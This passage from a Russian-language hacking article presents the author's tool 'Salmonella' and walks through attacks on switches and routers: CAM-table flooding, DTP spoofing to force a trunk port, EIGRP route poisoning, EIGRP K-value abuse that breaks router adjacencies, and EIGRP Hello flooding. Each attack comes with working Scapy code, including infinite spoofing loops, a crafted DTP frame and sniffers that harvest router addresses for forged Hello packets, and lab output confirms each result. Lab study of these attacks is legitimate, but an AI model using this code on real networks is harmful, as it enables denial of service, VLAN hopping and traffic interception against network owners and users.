while True: src_ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4)))) dst_ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4)))) src_mac = RandMAC() dst_mac = RandMAC() fake_packet = Ether(src=src_mac, dst=dst_mac) / IP(src=src_ip, dst=dst_ip) / TCP(sport=RandShort(), dport=80) sendp(fake_packet, count=1)
Все просто: генерируем IP-адреса источника и назначения, MAC-адреса источника и назначения, создаем пакет и отправляем его. Этот процесс зацикливаем.
Теперь запустим эту атаку и посмотрим, что будет. Интерфейс — из разряда «пока так».



Теперь проверим результат атаки, заглянув в MAC-таблицу коммутатора.

Результат положительный! Утилита работала всего около минуты, и таблица MAC-адресов переполнена.
DTP Spoofing
DTP (Dynamic Trunking Protocol) — фирменный протокол Cisco, используемый для автоматического согласования портов коммутаторов и настройки транкового режима. Давай для начала разберем, какие вообще бывают режимы DTP на коммутаторах Cisco.
- Access (режим доступа) — задается вручную администратором, передает только нетегированный трафик и обычно используется на портах, подключенных к конечным устройствам (клиентам). Ручная установка режима Access исключает его переход в режим Trunk.
- Trunk, как и режим Access, устанавливается вручную, но передает уже тегированный трафик и используется в соединениях между коммутаторами. Заданный вручную режим Trunk никогда не перейдет в режим Access.
- Dynamic Auto — режим, установленный по умолчанию на всех портах коммутатора. Проще говоря, он автоматически подстраивается под настройки соседнего порта: он принимает режим Trunk или Access в зависимости от конфигурации соседа.
- Dynamic Desirable — режим, который активно пытается договориться с соседним портом о настройке Trunk. Однако, если соседний порт настроен как Access, он согласится работать в режиме Access.
Точно определить поведение соседних портов можно при помощи таблицы.
Dynamic Auto | Dynamic Desirable | Trunk | Access | |
---|---|---|---|---|
Dynamic Auto | Access | Trunk | Trunk | Access |
Dynamic Desirable | Trunk | Trunk | Trunk | Access |
Trunk | Trunk | Trunk | Trunk | No connection |
Access | Access | Access | No connection | Access |
Trunk — это соединение между двумя коммутаторами или между коммутатором и маршрутизатором, которое передает трафик из всех VLAN. Например, если ты подключен к сети VLAN 10, то имеешь доступ только к этой сети. А если подключен к транковому каналу, у тебя есть доступ ко всем VLAN. Под доступом я имею в виду возможность взаимодействовать с устройствами, прослушивать трафик и выполнять другие действия.
Получается, что, подключившись к транковому каналу, ты будешь иметь доступ ко всем VLAN, тогда как по факту у тебя его быть не должно.
Коммутаторы согласовывают порты, обмениваясь сообщениями DTP, которые по умолчанию отправляются каждые 30 секунд.
По умолчанию на всех портах коммутатора включен режим Dynamic Auto. Это значит, что если на втором коммутаторе включен такой же режим, то оба порта будут работать в режиме Access. Но что, если мы прикинемся коммутатором и уговорим соседа установить между нами транк? Тогда мы получим доступ к транковому каналу и сможем взаимодействовать со всеми сетями VLAN. Так и сделаем!
Но сперва разберемся с некоторыми понятиями. На коммутаторе, порт Fa0/48 которого мы планируем обмануть и перевести в режим Trunk, выполним команду sh
.

Обрати внимание на строчки Administrative
и Operational
. Первая строчка говорит о том, что администратор указал режим dynamic
. Вторая строчка говорит, что по факту порт работает в режиме static
. Запомнили эти состояния.
То же самое мы можем увидеть в Wireshark.

Кстати, на скриншоте есть поле Domain:
— это имя домена, которое берется из конфигурации протокола VTP.
Теперь для чистоты эксперимента проверим, есть ли у нас активные транковые порты.

Таковых нет.
Для начала сформируем цисковский MAC-адрес, из‑под которого мы будем отправлять сообщения DTP:
cisco_mac = "00:25:2e:"mac = [random.randint(0x00, 0x7f), random.randint(0x00, 0x7f), random.randint(0x00, 0x7f)]mac_for_dtp = ':'.join(map(lambda x: '%02x' % x, mac))mac_for_dtp = cisco_mac + mac_for_dtp
Это нужно, чтобы коммутатор нормально воспринимал наши сообщения DTP. Про формирование таких «правильных» MAC-адресов я уже рассказывал в разделе про DHCP.
Теперь сформируем DTP-кадр:
dtp_packet = (Dot3(src=mac_for_dtp, dst="01:00:0c:cc:cc:cc") / LLC(dsap=0xaa, ssap=0xaa) / SNAP(OUI=0x0c, code=0x2004) / DTP(tlvlist=[DTPDomain(), DTPStatus(status=b'\x03'), DTPType(dtptype=b'\xa5'), DTPNeighbor(neighbor=mac_for_dtp)]))
Сообщения DTP отправляются на цисковский мультикастовый MAC-адрес Cisco 01:00:0c:cc:cc:cc. На этот же адрес идет и трафик протоколов CDP, VTP и PAgP. Для их разделения используется поле SNAP «протокол». Для CDP в нем будет значение 0x2000, для VTP — 0x2003, для DTP — 0x2004. Также видим следующие заголовки:
- Подзаголовок
LLC
— это «верхний» подуровень канального уровня, содержащий SSAP/DSAP-коды 0xAA, которые указывают, что далее идет SNAP-вложение. - Подзаголовок SNAP (Subnetwork Access Protocol) указывает, что дальше следует не заголовок сетевого уровня, а разделение на субпротоколы канального уровня. В данном случае SNAP сообщает, что вложен протокол, идентифицируемый как Cisco-протокол DTP (
OUI=0x0c
,code=0x2004
). -
DTPStatus(
— это обозначение режима Dynamic Desirable (оно нужно, чтобы заставить соседний порт согласовать транк).status=b'\ x03') -
DTPType(
— тут мы указываем, что будем использовать инкапсуляцию 802.1Q.dtptype=b'\ xa5')
Теперь важный момент: мы не отправляем один DTP-пакет, а зацикливаем их отправку. Это нужно, потому что динамически согласованный транк имеет ограниченное время жизни, по умолчанию пять минут. Поэтому мы будем регулярно отправлять DTP-пакеты, чтобы поддерживать состояние транка и предотвратить его переход обратно в режим Access в самый неподходящий момент.
sendp(dtp_packet, loop=1, inter=5)
Опять смотрим Wireshark.

Видно, что после нашего DTP-пакета соседний коммутатор отправил свой DTP-пакет, где Operational Mode уже выставлен в Trunk. Проверим это на самом коммутаторе.

Теперь порт Fa0/48 согласовал режим Trunk, хотя Administrative Mode все так же выставлен как Dynamic Auto. Напоследок проверим активные порты Trunk на коммутаторе.

EIGRP
EIGRP Poisoning
EIGRP Poisoning, или отравление EIGRP, — это атака, при которой роутерам EIGRP отправляются ложные маршруты, чтобы «загрязнить» их таблицы маршрутизации. Эта атака может привести к таким последствиям:
- отказ в обслуживании. Ложные маршруты в таблице маршрутизации могут нарушить нормальную работу маршрутизации и всей сети;
- перехват трафика. Достаточно анонсировать маршрут с устройством злоумышленника в качестве адреса следующего перехода (Next Hop), чтобы весь трафик проходил через него.
Про EIGRP, его сообщения, структуру заголовка и отравление таблицы маршрутизации я уже писал в статье «EIGRP Scam». Повторяться не буду, смысл атаки, да и код остались без изменений. Покажу лишь обновленный графический интерфейс.

Все практически то же самое: самый левый фрейм — параметры найденного маршрутизатора EIGRP, которые мы будем использовать для установления соседства и отправки обновлений, в центральном фрейме мы формируем EIGRP-анонс.
Правый фрейм — моя новая задумка. После каждого нажатия на кнопку Update мы отправляем в сеть сообщение EIGRP Update. Так вот, чтобы можно было убедиться, что соседний роутер получил это обновление, я и добавил этот фрейм. Если соседний роутер в ответ отправил пакет подтверждения ACK, то все в порядке, значит, он добавил наш маршрут к себе в таблицу. В правом фрейме тогда появится запись с отправленным маршрутом и статусом OK
. Если пакет подтверждения не пришел, значит, статус будет ERR
.
Злоупотребление K-значениями EIGRP
До недавнего времени я не знал об этой атаке на EIGRP, возможно, и ты тоже не в курсе.
Начнем с теории. K-коэффициенты (или K-значения) в EIGRP используются для вычисления метрик маршрутов. EIGRP по сложной формуле определяет стоимость маршрута на основе нескольких параметров, таких как скорость соединения (K1), нагрузка (K2), задержка (K3), надежность (K4, K5) и MTU.
Для установления и поддержания соседства у маршрутизаторов EIGRP должны быть одинаковые значения K-коэффициентов. То есть если в моменте K-значения поменяются, то соседство между роутерами прекратится и маршрутизация между ними будет нарушена. Теперь вопрос: что мы для этого можем сделать? Очень просто! Мы можем отправлять пакеты Hello с неправильными K-коэффициентами от имени легитимных роутеров, тогда соседство между ними будет нарушено.
Однако есть одно ограничение: маршрутизаторы должны быть подключены к тому же коммутатору, что и злоумышленник. Если же маршрутизаторы соединены напрямую, злоумышленник должен каким‑то образом вклиниться между ними (например, с помощью SharkTap Gigabit Network Sniffer, хотя это уже мои предположения).

Допустим, роутеры соединены друг с другом через коммутаторы. Запускаем атаку EIGRP Abusing K-values.

Вот что происходит за кадром:
eigrp_routers = {}def packet_callback(packet): if packet.haslayer(EIGRP): src_mac = packet[Ether].src src_ip = packet[IP].src asn = packet[EIGRP].asn if src_mac in [router["MAC"] for router in eigrp_routers.values()]: pass else: eigrp_routers[f"Router{router_count}"] = {"MAC": src_mac, "IP": src_ip, "AS": asn}sniff(filter="proto 88", prn=packet_callback, timeout=15)
Сначала создаем пустой словарь eigrp_routers. Затем в течение 15 секунд прослушиваем EIGRP-пакеты в сети. Если такие пакеты обнаружены, добавляем в словарь соответствующие связки MAC- и IP-адресов, а также номер автономной системы. Это позволит нам позже отправлять от имени этих роутеров некорректные Hello-пакеты.
Дальше дело за малым — мы просто запускаем цикл, в каждой итерации которого от имени каждого роутера отправляем по одному поддельному пакету Hello:
while True: for router in eigrp_routers: mac_address = eigrp_routers[router]['MAC'] ip_address = eigrp_routers[router]['IP'] asn = eigrp_routers[router]['AS'] fake_hello_packet = Ether(src=mac_address, dst="01:00:5e:00:00:0a") / \
IP(src=ip_address, dst="224.0.0.10", ttl=2) / \
EIGRP(opcode=5, asn=asn) / \
EIGRPParam(k1=random.randint(0, 1), k2=random.randint(0, 1), k3=random.randint(0, 1), k4=random.randint(0, 1), k5=random.randint(0, 1)) / \
EIGRPSwVer() sendp(fake_hello_packet) time.sleep(2)
Не нужно устраивать лавинную рассылку Hello-пакетов, достаточно отправлять их чаще, чем это делают сами роутеры. По умолчанию они отправляют Hello-пакеты каждые 5 секунд. Поэтому после отправки одного ложного пакета Hello от имени каждого роутера делаем паузу в 2 секунды, после чего повторяем итерацию. Кстати, я решил отправлять в пакетах Hello рандомные K-значения, так намного проще.
Посмотрим, что у нас происходит в Wireshark.

Вроде бы ничего необычного: два роутера просто обмениваются приветствиями, иногда какими‑то обновлениями.
Откроем консоль и попробуем посмотреть состояние сосед…

Погоди, здесь творится какая‑то вакханалия! Вот и результат злоупотребления K-значениями. Я поясню, что здесь происходит.
- Роутеры спокойно обменивались своими Hello-пакетами с одинаковыми K-коэффициентами.
- Тут пришли мы и от имени каждого из этих двух роутеров начали слать ложные пакеты Hello с неправильными K-значениями.
- В итоге роутеры разрывают соседство друг с другом, вдобавок присылая в консоль логи
Neighbor
.192. 168. 1. 3 is down: K-value mismatch - Однако они не перестают отправлять друг другу свои, не поддельные сообщения Hello и видят, что вроде как K-коэффициенты стали одинаковые. Тогда они снова устанавливают соседство:
Neighbor
. Но мы снова спустя две секунды отправляем неправильные Hello-сообщения, и ситуация повторяется.192. 168. 1. 3 is up: new adjacency

Хочу сделать вывод, что атака EIGRP Abusing K-values направлена исключительно на отказ в обслуживании. При этой атаке маршрутизация между роутерами становится практически невозможной, а ведь интервал между отправкой поддельных пакетов Hello можно еще сократить.
EIGRP Hello Flooding
Еще одна атака на EIGRP, которую я реализовал в Salmonella, — EIGRP Hello Flooding. Я думаю, из названия понятно, что она будет делать, но на всякий случай скажу. С помощью этой атаки злоумышленник сможет навести хаос как в таблице соседей, так и в логах. Мы будем генерировать огромное количество фейковых Hello-пакетов EIGRP, в которых MAC- и IP-адреса источника будут рандомными. Реализация этой атаки совсем несложная.

Жмем на кнопку Sniff, и запускается уже знакомый код, который прослушивает сеть на наличие пакетов EIGRP. Основная цель — определить, какие K-коэффициенты используют маршрутизаторы и какая автономная система на них настроена.
def analyze_packet(packet): global target_mac, target_ip, autonomous_system, k1, k2, k3, k4, k5, hold_time if packet.haslayer(EIGRP) and packet[EIGRP].opcode == 5: target_mac = packet[Ether].src target_ip = packet[IP].src autonomous_system = packet[EIGRP].asn k1 = packet[EIGRPParam].k1 k2 = packet[EIGRPParam].k2 k3 = packet[EIGRPParam].k3 k4 = packet[EIGRPParam].k4 k5 = packet[EIGRPParam].k5 hold_time = packet[EIGRPParam].holdtimesniff(filter="ip proto 88", prn=analyze_packet, count=1)
Следом запускается бесконечный цикл, который флудит сформированными нами Hello-пакетами EIGRP:
while True: src_ip = target_ip.split('.') src_ip = src_ip[0] + "." + src_ip[1] + "." + src_ip[2] + "." + str(random.randint(0, 255)) src_mac = RandMAC() fake_hello_packet = Ether(src=src_mac, dst="01:00:5e:00:00:0a") / \
IP(src=src_ip, dst="224.0.0.10", ttl=2) / \
EIGRP(opcode=5, asn=autonomous_system) / \
EIGRPParam(k1=k1, k2=k2, k3=k3, k4=k4, k5=k5) / \
EIGRPSwVer() sendp(fake_hello_packet)
Важно генерировать IP-адреса из той же сети, где находится интерфейс маршрутизатора, на который будут отправляться Hello-пакеты. MAC-адреса при этом могут быть случайными.
Вот, собственно, и весь код. Перед запуском проверим таблицу соседей.

Тут все пусто, соседей нет. Запускаем!

Как и в случае с атакой EIGRP Abusing K-values, в консоль приходит множество сообщений о том, что на интерфейсе G0/1 появился новый сосед EIGRP.

Конечно же, посмотрим на таблицу соседей.

И да, важно не прекращать флуд пакетами Hello, так как каждый пакет отправляется только один раз, а через Dead Interval запись о новом соседе удалится из таблицы.

Выводы
В этой статье мы с тобой рассмотрели, как правильно и надолго положить легитимный DHCP-сервер на лопатки, отравили ARP-кеш, согласовали транк с коммутатором по DTP и навели хаос в домене маршрутизации EIGRP. В следующих материалах я планирую реализовать атаки на другие сетевые протоколы и добавлю их в свое приложение, а также поработаю над поддержкой IPv6, Wi-Fi и над другими занятными вещами.